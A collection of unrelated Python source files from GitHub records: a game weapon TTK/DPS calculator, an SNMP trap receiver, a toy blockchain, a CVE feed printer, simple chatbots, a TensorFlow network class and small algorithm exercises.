that exceeded to the total of 100% I will make it 25% automatically...\\n\")\r\n p -= chestpint\r\n v += chestpint\r\n p += 25\r\n v -= 25\r\n\r\n time.sleep(3)\r\n else:\r\n pass\r\n strv = str(v)\r\n stomp = input(\"You have \" + strv + \"% left to distribute What percentage of shots would you like to go to the stomach?\\n\")\r\n stompint = int(stomp)\r\n p += stompint\r\n v -= stompint\r\n if p > 100:\r\n print(\"You have added a number that exceeded to the total of 100% I will make it 25% automatically...\\n\")\r\n p -= stompint\r\n v += stompint\r\n p += 25\r\n v -= 25\r\n time.sleep(3)\r\n else:\r\n pass\r\n strv = str(v)\r\n extremp = v\r\n print(\"You have \" + strv + \"% left which will automatically go towards extremities...\\n\")\r\n time.sleep(3)\r\n headp2 = (headpint / 100)\r\n stomp2 = (stompint / 100)\r\n chestp2 = (chestpint / 100)\r\n extemp2 = (extremp / 100)\r\n rpmround = round(gunromint,2)\r\n sps = rpmround // 60\r\n headdam = (sps * headp2) * gubdamheadint\r\n chestdam = (sps * chestp2) * gundamchestint\r\n stomdam = (sps * stomp2) * gundamstomint\r\n extremdam = (sps * extemp2) * gundamextremint\r\n dps = (headdam + chestdam + stomdam + extremdam + firedam)\r\n dpsround = round(dps,3)\r\n strdps = str(dpsround)\r\n daymade = date.today()\r\n\r\n gunstats = (gunname + \" DPS: \" + strdps + \" Date Created \" + str(daymade.day) + \"/\" + str(daymade.month) + \"/\" + str(daymade.year))\r\n with open('advweaponlist.txt', 'a') as f:\r\n f.write(gunstats)\r\n f.write(\"\\n\")\r\n print(gunstats + \"\\n\")\r\n time.sleep(2)\r\n print(\"Info sent to your gunlist! migrating back to the main menu\\n\")\r\n time.sleep(3)\r\n menu()\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef ttkcalc():\r\n gunname = input(\"Please Type in the name of the gun.\\n\")\r\n gundam = input(\"Please type in the damage of the gun\\n\")\r\n gunrpm = input(\"Please type in the rounds per minute for the gun.\\n\")\r\n gundamint = float(gundam)\r\n gunrpmint = float(gunrpm)\r\n ttk1 = (250 / gundamint) / (gunrpmint / 60)\r\n ttkround = round(ttk1,3)\r\n ttkstr = str(ttkround)\r\n daymade = date.today()\r\n gundetails = str(gunname) + \" TTK: \" + str(ttkstr) + \" seconds Date Created: \" + str(daymade.day) + \"/\" + str(daymade.month) + \"/\" + str(daymade.year)\r\n gunlist = (gundetails)\r\n with open('weaponlist.txt', 'a') as f:\r\n f.write(gunlist)\r\n f.write(\"\\n\")\r\n print(gundetails)\r\n time.sleep(5)\r\n menu()\r\ndef weaponlist():\r\n list = open('weaponlist.txt')\r\n listcontents = list.read()\r\n print(listcontents)\r\n time.sleep(3)\r\n menu()\r\ndef advweaponlist():\r\n list = open('advweaponlist.txt')\r\n listcontents = list.read()\r\n print(listcontents)\r\n time.sleep(3)\r\n menu()\r\n\r\n\r\ndef menu():\r\n print(\"\"\"\r\n _______ _______ _ __ _____ _ _ _____ ___ ___ ____ \r\n |__ __|__ __| |/ / / ____| | | | | / ____| / _ \\ / _ \\ | _ \\ \r\n | | | | | ' / | | __ _| | ___ | |__ _ _ | | __ _ __| | | | | | |_ _____| |_) |_ _ __ _ \r\n | | | | | < | | / _` | |/ __| | '_ \\| | | | | | |_ | '__| | | | | | \\ \\ / / _ \\ _ <| | | |/ _` |\r\n | | | | | . \\ | |___| (_| | | (__ | |_) | |_| | | |__| | | | |_| | |_| |\\ V / __/ |_) | |_| | (_| |\r\n |_| |_| |_|\\_\\ \\_____\\__,_|_|\\___| |_.__/ \\__, | \\_____|_| \\___/ \\___/ \\_/ \\___|____/ \\__,_|\\__, |\r\n __/ | __/ |\r\n |___/ |___/ \r\n\r\n \"\"\")\r\n time.sleep(1)\r\n menuchoice = input(\"\"\" Please choose an option\r\n \r\n 1. TTK Calculator\r\n 2. List TTK weapons\r\n 3. Advanced DPS Calculator\r\n 4. List DPS Weapns\r\n 5. Close\\n\"\"\")\r\n menuchoiceint = int(menuchoice)\r\n if menuchoiceint == 1:\r\n ttkcalc()\r\n elif menuchoiceint == 2:\r\n weaponlist()\r\n elif menuchoiceint == 5:\r\n print(\"Thank you for using TTK calculator!\")\r\n time.sleep(2)\r\n sys.exit(0)\r\n elif menuchoiceint == 3:\r\n advdpscalc()\r\n elif menuchoiceint == 4:\r\n advweaponlist()\r\n\r\n else:\r\n print(\"Wrong option, restarting now\")\r\n time.sleep(3)\r\n menu()\r\n\r\nmenu()","repo_name":"Gr00veBug/TTK-DPS-calculator-for-COD-Warzone","sub_path":"ttkcalc.py","file_name":"ttkcalc.py","file_ext":"py","file_size_in_byte":6182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35539777791","text":"from . import exceptions\nimport trapdoor.core.mibs as mibs\n# import threading\nimport datetime\nimport pysnmp.entity.config\nimport pysnmp.entity.engine\nimport pysnmp.entity.rfc3413.mibvar\nimport pysnmp.smi.builder\nimport pysnmp.smi.view\nfrom pysnmp.carrier.asyncio.dgram import udp, udp6\nfrom pysnmp.entity.rfc3413 import ntfrcv\nimport asyncio\nimport logging\nlog = logging.getLogger('trapdoor.core.trap')\nlog.addHandler(logging.NullHandler())\n\nV3_AUTH = {\n \"MD5\": pysnmp.entity.config.usmHMACMD5AuthProtocol,\n \"SHA\": pysnmp.entity.config.usmHMACSHAAuthProtocol,\n \"NONE\": pysnmp.entity.config.usmNoAuthProtocol\n}\nV3_PRIV = {\n\n \"DES\": pysnmp.entity.config.usmDESPrivProtocol,\n \"3DES\": pysnmp.entity.config.usm3DESEDEPrivProtocol,\n \"AES-128\": pysnmp.entity.config.usmAesCfb128Protocol,\n \"AES-192\": pysnmp.entity.config.usmAesCfb192Protocol,\n \"AES-256\": pysnmp.entity.config.usmAesCfb256Protocol,\n \"NONE\": pysnmp.entity.config.usmNoPrivProtocol\n}\n\n\nclass trapReciever(object):\n def __init__(self, config, Q, loop=None):\n self._config = config\n self._engine = pysnmp.entity.engine.SnmpEngine()\n self._mibs = mibs.MibResolver(config)\n self.transports = {}\n self.Q = Q\n if loop is None:\n self.loop = asyncio.get_event_loop()\n\n if config[\"traps\"][\"transport\"][\"ipv4\"][\"enable\"]:\n self._enable_transport_ipv4()\n\n if config[\"traps\"][\"transport\"][\"ipv6\"][\"enable\"]:\n self._enable_transport_ipv6()\n\n if not config[\"traps\"][\"transport\"][\"ipv6\"][\"enable\"] \\\n and not config[\"traps\"][\"transport\"][\"ipv4\"][\"enable\"]:\n log.error(''.join(['No transport enabled! specifiy at least',\n ' one of ipv4,ipv6'])\n )\n\n raise exceptions.ErrorTrapTransport(\"No transport enabled\")\n\n if config[\"traps\"][\"v2c\"][\"enable\"]:\n self._enable_v2c()\n\n def _enable_transport_ipv4(self):\n servermode = udp.UdpTransport().openServerMode(\n (self._config[\"traps\"][\"transport\"][\"ipv4\"][\"listen\"],\n int(self._config[\"traps\"][\"transport\"][\"ipv4\"][\"port\"]))\n )\n self.transports[\"[UDP]ipv4\"] = servermode\n pysnmp.entity.config.addTransport(self._engine,\n udp.domainName,\n servermode)\n log.info(\"Init UDP[ipv4] transport on {listen}:{port}\".format(\n listen=self._config[\"traps\"][\"transport\"][\"ipv4\"][\"listen\"],\n port=self._config[\"traps\"][\"transport\"][\"ipv4\"][\"port\"]))\n\n def _enable_transport_ipv6(self):\n servermode = udp6.Udp6Transport().openServerMode(\n (self._config[\"traps\"][\"transport\"][\"ipv6\"][\"listen\"],\n int(self._config[\"traps\"][\"transport\"][\"ipv6\"][\"port\"]))\n )\n self.transports[\"[UDP]ipv6\"] = servermode\n pysnmp.entity.config.addTransport(self._engine,\n udp6.domainName,\n servermode)\n log.info(\"Init UDP[ipv6] transport on {listen}:{port}\".format(\n listen=self._config[\"traps\"][\"transport\"][\"ipv6\"][\"listen\"],\n port=self._config[\"traps\"][\"transport\"][\"ipv6\"][\"port\"]))\n\n def _enable_v2c(self):\n log.info(\"Init v2c authentication\")\n community = self._config[\"traps\"][\"v2c\"][\"community\"]\n pysnmp.entity.config.addV1System(self._engine, 'trapdoor', community)\n\n def _enable_v3(self):\n priv = self._config[\"traps\"][\"v3\"][\"private\"]\n priv_pass = self._config[\"traps\"][\"v3\"][\"private\"]\n auth = self._config[\"traps\"][\"v3\"][\"auth\"]\n user = self._config[\"traps\"][\"v3\"][\"user\"]\n user_pass = self._config[\"traps\"][\"v3\"][\"pass\"]\n\n log.info(\"init snmpv3 authentication\")\n\n if auth not in V3_AUTH:\n log.error(\"Hashing of type '{}' not known!\".format(auth))\n raise exceptions.ErrorTrapTransport(\n \"Unknown hashing '{}'\".format(auth))\n\n if priv != \"\":\n\n if priv not in V3_PRIV:\n log.error(\"Encryption of type '{}' not known!\".format(priv))\n raise exceptions.ErrorTrapTransport(\n \"Unknown encryption '{}'\".format(priv)\n )\n\n pysnmp.entity.config.addV3User(self._engine,\n user,\n auth,\n user_pass,\n priv,\n priv_pass)\n log.info(\"Created SnmpV3 user {} using {} & private {}\".format(\n user, auth, priv))\n else:\n pysnmp.entity.config.addV3User(self._engine,\n user,\n auth,\n user_pass)\n log.info(\"Created SnmpV3 user {} using {} & private None\".format(\n user, auth))\n\n def _notification_callback(self, snmpEngine, stateReference,\n contextEngineId, contextName, varBinds, cbCtx):\n \"\"\"\n Callback function for receiving notifications\n Borrowed from\n https://github.com/subutux/nagios-trapd/blob/master/src/nagios/snmp/receiver.py#L120\n \"\"\"\n\n trap_oid = None\n trap_name = None\n trap_args = dict()\n\n try:\n # get the source address for this notification\n transportDomain, trap_source = snmpEngine.msgAndPduDsp.getTransportInfo(\n stateReference)\n # transportDomain, transportAddress =\n # snmpEngine.msgAndPduDsp.getTransportInfo(stateReference)\n log.debug(\"Notification received from %s, %s\" %\n (trap_source[0], trap_source[1]))\n\n # read all the varBinds\n for oid, val in varBinds:\n # translate OID to mib symbol/modname\n (module, symbol) = self._mibs.lookup_oid(oid)\n\n if module == \"SNMPv2-MIB\" and symbol == \"snmpTrapOID\":\n # the SNMPv2-MIB::snmpTrapOID value is the trap oid\n trap_oid = val\n # load the mib symbol/modname for the trap oid\n (trap_symbol_name,\n trap_mod_name) = self._mibs.lookup_oid(trap_oid)\n trap_name = \"{}::{}\".format(\n trap_symbol_name, trap_mod_name)\n val = '::'.join(self._mibs.lookup_oid(val))\n log.debug(\"TRAP: %s::%s = %s\" % (module, symbol, val))\n else:\n # all other values should be converted to mib\n # symbol/modname\n # and put in the trap_data dict\n\n # trap_arg_oid = oid\n # For the case the faultIndex was added into the OID,\n # we have to lookup\n # the original OID from MIB instead of using the OID in the\n # received packet directly.\n trap_arg_oid = self._mibs.lookup(module, symbol)\n # convert value\n trap_arg_value = self._mibs.lookup_value(\n module, symbol, val)\n\n trap_args[trap_arg_oid] = {\"oid\": oid,\n \"module\": module,\n \"symbol\": symbol,\n \"var\": trap_arg_oid,\n \"val\": val,\n \"try_trans_val\": trap_arg_value\n }\n\n log.debug(\"Trap argument: %s::%s = %s\" %\n (module, symbol, val))\n\n # get trap source info\n trap_source_address, trap_source_port = trap_source\n # trap_source_hostname, trap_source_domain =\n # get_hostname_from_address(trap_source_address)\n\n # set trap propreties\n trap_properties = dict()\n trap_properties['ipaddress'] = trap_source_address\n\n trap = {\n \"timestamp\": datetime.date.today(),\n \"oid\": trap_oid,\n \"translateOid\": trap_name,\n \"vars\": trap_args\n }\n\n # Let the module do it's thing with this trap.\n # self.trap(trap_oid, trap_args, trap_properties)\n # Add the trap to the queue\n self.Q.async_q.put(Trap(trap))\n\n except Exception as ex:\n log.exception(\"Error handling SNMP notification: {}\".format(ex))\n return True\n\n def cbFun(self, snmpEngine,\n stateReference,\n contextEngineId, contextName,\n varBinds,\n cbCtx):\n transportDomain, transportAddress = snmpEngine.msgAndPduDsp.getTransportInfo(\n stateReference)\n print('Notification from %s, SNMP\\\n Engine %s, Context %s' % (transportAddress,\n contextEngineId.prettyPrint(),\n contextName.prettyPrint()))\n for name, val in varBinds:\n print('%s = %s' % (name.prettyPrint(), val.prettyPrint()))\n\n @asyncio.coroutine\n def register(self):\n \"\"\"\n registers the engine & callback\n \"\"\"\n for servermode in self.transports:\n task = self.transports[servermode]._lport\n if task.done():\n log.error(\"Error setting up {}: {}\".format(\n servermode, task.exception()))\n else:\n log.info(\"Started {}\".format(servermode))\n ntfrcv.NotificationReceiver(self._engine, self._notification_callback)\n log.info('Registered callback')\n return True\n\n @asyncio.coroutine\n def stop(self):\n if self._config[\"traps\"][\"transport\"][\"ipv4\"][\"enable\"]:\n log.info(\"Closing {} transport\".format(str(\"UDP[ipv4]\")))\n pysnmp.entity.config.delTransport(self._engine, udp.domainName)\n log.info(\"Closed {} transport\".format(str(\"UDP[ipv4]\")))\n if self._config[\"traps\"][\"transport\"][\"ipv6\"][\"enable\"]:\n log.info(\"Closing {} transport\".format(str(\"UDP[ipv6]\")))\n pysnmp.entity.config.delTransport(self._engine, udp6.domainName)\n log.info(\"Closed {} transport\".format(str(\"UDP[ipv6]\")))\n\n log.info(\"trapReciever stopped.\")\n\n\nclass Trap(object):\n \"\"\"\n an object defining a trap.\n \"\"\"\n\n def __init__(self, trapdata):\n self._trapdata = trapdata\n self._history = []\n # extract the history from the trap\n if \"history\" in trapdata:\n self._history.extend(trapdata['history'])\n del self._trapdata['history']\n\n @property\n def oid(self):\n return self._trapdata['oid']\n\n @property\n def translateOid(self):\n return self._trapdata['translatedOid']\n\n @property\n def timestamp(self):\n return self._trapdata['timestamp']\n\n def get_var(self, var):\n if var in self._trapdata['vars']:\n return self._trapdata['vars'][var]\n\n def set_var(self, var, val):\n if var in self._trapdata['vars']:\n self._trapdata['vars'][var] = val\n\n @property\n def history(self):\n return self._history\n\n @history.setter\n def history(self, hist):\n self._history = hist\n\n def to_dict(self):\n data = {}\n data.update(self._trapdata)\n data['history'] = self._history\n return data\n","repo_name":"subutux/trapdoor","sub_path":"trapdoor/core/trap.py","file_name":"trap.py","file_ext":"py","file_size_in_byte":11752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70194747948","text":"from collections import deque\n\nn = int(input())\n\nl = list(map(int, input().split()))\nd = deque()\nfor i, el in enumerate(l):\n d.append((i + 1, el))\n\norder = []\nfor i in range(n):\n popped = d[0]\n d.rotate(-popped[1])\n order.append(popped[0])\n d.remove(popped)\n\n\nfor i in order:\n print(i, end=\" \")","repo_name":"Eilhwan/algorithms","sub_path":"oldOnes/python/Old/pop_bolluon.py","file_name":"pop_bolluon.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8060655920","text":"import json\nimport hashlib\n\nfrom time import time\n\n\nclass Blockchain(object):\n def __init__(self):\n self.chain = []\n self.pending_transactions = []\n\n self.new_block(prev_hash=\"prev_hash\", proof=100)\n\n def new_block(self, proof, prev_hash=None):\n block = {\n \"index\": len(self.chain) + 1,\n \"timestamp\": time(),\n \"transactions\": self.pending_transactions,\n \"proof\": proof,\n \"prev_hash\": prev_hash or self.hash(self.chain[-1]),\n }\n self.pending_transactions = []\n self.chain.append(block)\n return block\n\n @property\n def last_block(self):\n return self.chain[-1]\n\n def new_transaction(self, sender, recipient, amount):\n transaction = {\"sender\": sender, \"recipient\": recipient, \"amount\": amount}\n self.pending_transactions.append(transaction)\n return self.last_block[\"index\"] + 1\n\n def hash(self, block):\n string_ob = json.dumps(block, sort_keys=True)\n block_string = string_ob.encode()\n\n raw_hash = hashlib.sha256(block_string)\n hex_hash = raw_hash.hexdigest()\n\n return hex_hash\n","repo_name":"MartMcMahon/wonkchain","sub_path":"blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11537367936","text":"import requests\r\nimport json\r\n\r\ndef main():\r\n content = requests.get(\"https://cve.circl.lu/api/last\")\r\n json = content.json()\r\n\r\n for entry in json:\r\n print(\"{} \\033[91m{}\\033[0m\".format(\"Vuln No:\", entry['id'] ))\r\n #print(\"{} \\033[91m{}\\033[0m\".format(\"Vuln Name:\", entry['name'] )) \r\n print(\"{} \\033[92m{}\\033[0m \\n\".format(\"Description:\", entry['summary']))\r\n #print(\"{} {} \".format(\"Remediation:\", entry['solutions']))\r\n\r\nmain()","repo_name":"Nishantt23/Scripting-Toolkit","sub_path":"Security&Automation/cve_list.py","file_name":"cve_list.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36919077982","text":"from ChatBot import Chat\n\nset_pair= [[\"Hello|Hi|Hey\",\n [\"Hi, I am the virtual assistant here to guide you, May I know your name\"]\n ],\n [\"(.*) am (.*).\",\n [\"Hi %2 , what can i help %1 with?\"]\n ],\n [\"(.*) need help setting up my (account|password|id)\",\n [\"I will send %1 a set of instructions on your mobile phone. May I have your mobile number?\"]\n ],\n [\"Yes it is (.*)\",\n [\"Say YES to confirm the number entered is %1.\"]\n ],\n [\",Yes|yes|YES\",\n [\"The instructions have been sent to your mobile phone. Anything else you would like my help with\"]\n ],\n [\"(No Thankyou|No|No Thanks|no thanks)\",\n [\"Glad to be of help\"]\n ],\n [\"quit\",\n [\"Bye, have a great day, stay home, stay safe\"]\n ]\n]\n\n\nreflections = {\n \"i am\": \"you are\",\n \"i was\": \"you were\",\n \"i\": \"you\",\n \"i'm\": \"you are\",\n \"i'd\": \"you would\",\n \"i've\": \"you have\",\n \"i'll\": \"you will\",\n \"my\": \"your\",\n \"you are\": \"I am\",\n \"you were\": \"I was\",\n \"you've\": \"I have\",\n \"you'll\": \"I will\",\n \"your\": \"my\",\n \"yours\": \"mine\",\n \"you\": \"me\",\n \"me\": \"you\",\n}\n\nchatBot = Chat(set_pair, reflections)\n\nchatBot.converse()","repo_name":"ApoorvWaghmare/Virtual-Voice-Assistant","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2230204500","text":"import tensorflow as tf\nimport numpy as np\nimport sift_feature_extractor as sfe\n# import time, datetime\n\nclass BackProp:\n\n\t# initialize variables\n\tdef __init__(self, layerSizes, modelCheckPointFileName=None):\n\t\t# layerSizes\n\t\tself.layerSizes = layerSizes\n\n\t\t# weight prototype, name attribute for saving weight\n\t\tself.w1 = tf.Variable(tf.truncated_normal([layerSizes[0],\n\t\t\tlayerSizes[1]]), name='w1')\n\t\t# bias prototype, name attribute for saving bias\n\t\tself.b1 = tf.Variable(tf.truncated_normal([1, layerSizes[1]]),\n\t\t\tname='b1')\n\n\t\t# weight prototype, name attribute for saving weight\n\t\tself.w2 = tf.Variable(tf.truncated_normal([layerSizes[1],\n\t\t\tlayerSizes[2]]), name='w2')\n\t\t# bias prototype, name attribute for saving bias\n\t\tself.b2 = tf.Variable(tf.truncated_normal([1, layerSizes[2]]),\n\t\t\tname='b2')\n\n\t\t# class scope session object\n\t\tself.sess = tf.Session()\n\t\tself.sess.run(tf.global_variables_initializer())\n\n\t\t# if model checkpoint filename is provided then restore\n\t\t# parameters from file\n\t\tif modelCheckPointFileName is not None:\n\t\t\tself.restoreNetwork(modelCheckPointFileName)\n\n\t# feed forward the input and compute output\n\tdef feedForward(self, x):\n\t\tz1 = tf.nn.sigmoid(tf.matmul(x, self.w1) + self.b1)\n\t\tyHat = tf.matmul(z1, self.w2) + self.b2\n\t\treturn yHat\n\n\t# training the network\n\tdef trainNetwork(self, epochs, learningRate, miniBatchSize, xTrain, yTrain, xVali=None, yVali=None):\n\t\t# input output placeholder Variables\n\t\tx = tf.placeholder(tf.float32, [None, self.layerSizes[0]])\n\t\ty = tf.placeholder(tf.float32, [None, self.layerSizes[2]])\n\n\t\t# feed forward\n\t\tyHat = self.feedForward(x)\n\t\t# class of prediction\n\t\tpredict = tf.argmax(yHat, axis=1)\n\n\t\t# cross entropy cost function\n\t\tcost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(\n\t\t\tlabels=y, logits=yHat))\n\t\t# weight updates\n\t\tupdates = tf.train.GradientDescentOptimizer(learningRate).minimize(cost)\n\n\t\t# run epochs for training\n\t\tfor epoch in range(epochs):\n\t\t\t# train in minibatches\n\t\t\tfor i in range(int(xTrain.shape[0]/miniBatchSize)):\n\t\t\t\t# sample indices in minibatch\n\t\t\t\tlowerBound = i*miniBatchSize\n\t\t\t\tupperBound = min((i+1)*miniBatchSize, xTrain.shape[0])\n\n\t\t\t\t# update weights on minibatch\n\t\t\t\tself.sess.run(updates, feed_dict={x:xTrain[lowerBound:upperBound], y:yTrain[lowerBound:upperBound]})\n\n\t\t\t# evaluate on validation set\n\t\t\tif xVali is not None and yVali is not None:\n\t\t\t\tif epoch % 100 == 0 or (epoch % 10 == 0 and epoch < 100):\n\t\t\t\t\t# compute test accuracy\n\t\t\t\t\ttest_accuracy = np.mean(np.argmax(yVali, axis=1) == self.sess.run(predict, feed_dict={x:xVali}))\n\n\t\t\t\t\tprint('Epoch = %05d, test accuracy = %.2f%%' % (epoch,\n\t\t\t\t\t\t100. * test_accuracy))\n\n\t# predict class:\n\tdef predict(self, xInput):\n\t\tx = tf.placeholder(tf.float32, [None, self.layerSizes[0]])\n\t\tyHat = self.feedForward(x)\n\t\t# prediction\n\t\tpredict = tf.argmax(yHat, axis=1)\n\t\t\n\t\t# run prediction\n\t\tprediction = self.sess.run(predict, feed_dict={x:xInput})\n\t\treturn prediction\n\n\t# evaluate network\n\tdef evaluateNetwork(self, xInput, yInput, printMsg=None):\n\t\tx = tf.placeholder(tf.float32, [None, self.layerSizes[0]])\n\t\tyHat = self.feedForward(x)\n\t\t# prediction\n\t\tpredict = tf.argmax(yHat, axis=1)\n\n\t\t# compute accuracy\n\t\taccuracy = np.mean(np.argmax(yInput, axis=1) == self.sess.run(predict, feed_dict={x:xInput}))\n\n\t\tif printMsg is None:\n\t\t\tprintMsg = 'Network accuracy = %.2f%%'\n\n\t\tprint(printMsg % (100. * accuracy))\n\n\t\treturn predict, accuracy\n\n\t# save network weights and bias\n\tdef saveNetwork(self, checkpointFilename):\n\t\t# get time when the file is saved\n\t\t# dateTimeStr = datetime.datetime.fromtimestamp(time.time()).strftime('%Y_%m_%d_%H_%M_%S')\n\t\t# saver object to save parameters to file\n\t\tsaver = tf.train.Saver([self.w1, self.w2, self.b1, self.b2])\n\t\tsaver.save(self.sess, checkpointFilename)\n\n\t# restore network from a checkpoint\n\tdef restoreNetwork(self, checkpointFilename):\n\t\t# saver object to restore parameters to file\n\t\tsaver = tf.train.Saver([self.w1, self.w2, self.b1, self.b2])\n\t\tsaver.restore(self.sess, checkpointFilename)","repo_name":"bhavikngala/comparision_of_PGM_machine_learning_and_deep_learning_approaches_to_handwriting_matching_with_images","sub_path":"simple_ml_approach/BackPropTFClass.py","file_name":"BackPropTFClass.py","file_ext":"py","file_size_in_byte":4021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6360715707","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom rest_framework.generics import ListAPIView\nfrom rest_framework.response import Response\n\n\n\n#Meet Robo: your friend\n\n#import necessary libraries\nimport io\nimport random\nimport string # to process standard python strings\nimport warnings\nimport numpy as np\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport warnings\n\nfrom Chat.models import Questions\nfrom Chat.serializers import QuestionsSerializer\n\nwarnings.filterwarnings('ignore')\n\nimport nltk\nfrom nltk.stem import WordNetLemmatizer\nnltk.download('popular', quiet=True) # for downloading packages\n\n# uncomment the following only the first time\n#nltk.download('punkt') # first-time use only\n#nltk.download('wordnet') # first-time use only\n\nimport pyttsx3\n\n#Reading in the corpus\n\n\ndef bot(message):\n with open('chatbot2.txt', 'r', encoding='utf8', errors='ignore') as fin:\n raw = fin.read().lower()\n\n # TOkenisation\n sent_tokens = nltk.sent_tokenize(raw) # converts to list of sentences\n word_tokens = nltk.word_tokenize(raw) # converts to list of words\n\n # Preprocessing\n lemmer = WordNetLemmatizer()\n\n def LemTokens(tokens):\n return [lemmer.lemmatize(token) for token in tokens]\n\n remove_punct_dict = dict((ord(punct), None) for punct in string.punctuation)\n\n def LemNormalize(text):\n return LemTokens(nltk.word_tokenize(text.lower().translate(remove_punct_dict)))\n\n # Keyword Matching\n GREETING_INPUTS = (\"hello\", \"hi\", \"greetings\", \"sup\", \"what's up\", \"hey\",)\n GREETING_RESPONSES = [\"hi\", \"hey\", \"*nods*\", \"hi there\", \"hello\", \"I am glad! You are talking to me\"]\n\n def greeting(sentence):\n \"\"\"If user's input is a greeting, return a greeting response\"\"\"\n for word in sentence.split():\n if word.lower() in GREETING_INPUTS:\n return random.choice(GREETING_RESPONSES)\n\n # Generating response\n def response(user_response):\n robo_response = ''\n sent_tokens.append(user_response)\n TfidfVec = TfidfVectorizer(tokenizer=LemNormalize, stop_words='english')\n tfidf = TfidfVec.fit_transform(sent_tokens)\n vals = cosine_similarity(tfidf[-1], tfidf)\n idx = vals.argsort()[0][-2]\n flat = vals.flatten()\n flat.sort()\n req_tfidf = flat[-2]\n if (req_tfidf == 0):\n robo_response = robo_response + \"I am sorry! I cant answer that\"\n return robo_response\n else:\n robo_response = robo_response + sent_tokens[idx]\n return robo_response\n\n flag = True\n print(\"Gabot: Hi how can i help you. say bye if you done with me !\")\n # while (flag == True):\n # user_response = input()\n user_response = message\n user_response = user_response.lower()\n print(\"You > \", user_response)\n if (user_response != 'bye'):\n if (user_response == 'thanks' or user_response == 'thank you'):\n flag = False\n robot = \"You are welcome..\"\n\n print(\"ROBO > You are welcome..\")\n return robot\n else:\n if (greeting(user_response) != None):\n print(\"ROBO > \" + greeting(user_response))\n robot = greeting(user_response)\n return robot\n else:\n robot = response(user_response)\n print(\"ROBO >\", robot)\n sent_tokens.remove(user_response)\n return robot\n else:\n flag = False\n robot = \"Bye! take care..\"\n print(\"Bye! take care..\")\n return robot\n\ndef speak(audioString):\n print(audioString)\n\n engine = pyttsx3.init()\n rate = engine.getProperty('rate')\n volume = engine.getProperty('volume')\n voice = engine.getProperty('voice')\n\n # print('default')\n # print('default rate',rate)\n # print(\"volume\",volume)\n # print(\"voice\",voice)\n # engine.say(audioString)\n # engine.runAndWait()\n\n print('Modified')\n\n engine.setProperty('rate', rate-70)\n rate = engine.getProperty('rate')\n volume = engine.getProperty('volume')\n voices = engine.getProperty('voices')\n engine.setProperty('voice', \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Speech\\Voices\\Tokens\\TTS_MS_EN-US_ZIRA_11.0\")\n # for voice in voices:\n # print(\"Voice id : \",voice.id)\n # engine.setProperty('voice', voice.id)\n # engine.say('The quick brown fox jumped over the lazy dog.')\n\n # print('modified')\n # print('rate', rate)\n # print(\"volume\", volume)\n # print(\"voice\", voice)\n # print(\"voices\", voices)\n\n engine.say(audioString)\n engine.runAndWait()\n\nclass ChatView(ListAPIView):\n def post(self,request):\n message = self.request.POST.get('message')\n response = bot(message)\n # speak(response)\n\n return Response({\n \"status\":True,\n \"You\":message,\n \"Gabot\":response\n })\n\nclass SpeakMessage(ListAPIView):\n def post(self,request):\n message = self.request.POST.get('message')\n speak(message)\n\n return Response({\n \"status\":True,\n \"You\":message,\n })\n\nclass GetQuestions(ListAPIView):\n\n serializer_class = QuestionsSerializer\n def get_queryset(self):\n keyword = self.request.GET['keyword']\n id = self.request.GET['id']\n parent_id = self.request.GET['parent_id']\n print(keyword)\n if keyword==\"parent\":\n qeuryset = Questions.objects.filter(parent=True)\n elif keyword==\"all\":\n qeuryset = Questions.objects.all()\n else:\n qeuryset = Questions.objects.filter(parent=False)\n\n if id:\n qeuryset = Questions.objects.filter(id=id)\n if parent_id:\n qeuryset = Questions.objects.filter(child__id=parent_id)\n return qeuryset","repo_name":"JasirMJ/GAB","sub_path":"Chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10355771895","text":"import time\r\nimport random\r\n\r\ndef InsertionSort(list):\r\n l = len(list)#get list length\r\n for i in range(1,l):#start comparing on the second number\r\n key = list[i]#set the first uncompared number as the key(save its value)\r\n n = i - 1#first sorted number to compare the key to(save its pos)\r\n while n >= 0 and list[n] > key:#keep looping until n is smaller than 0 or the comparing number is smaller than the key(which means the key goes here)\r\n list[n+1] = list[n]#move the compared number oonto where th key is right now\r\n n = n - 1#n minus one, so the next time we can compare to the number before it\r\n list[n+1] = key#once we found where the key is supposed to go, insert it in its proper place(we have to plus one because that's the last thing we did in the loop)\r\n return list#return the result\r\n\r\nnum_list = []\r\nfor i in range(1000):\r\n num_list.append(random.randint(0,10000))#genorate a random list\r\n\r\n#timer start\r\nstart = time.time()\r\n\r\nprint(InsertionSort(num_list))\r\n\r\nend = time.time()\r\nTime = end - start\r\nprint(Time)#timer end and print run time","repo_name":"TechioStudios/Python-sorting-algorithms","sub_path":"InsertionSort.py","file_name":"InsertionSort.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19098686084","text":"#!/usr/bin/python3\ndef safe_print_list(my_list=[], x=0):\n cn = 0\n try:\n for i in range(0, x):\n print(my_list[i], end=\"\")\n cn += 1\n except IndexError:\n None\n print()\n return 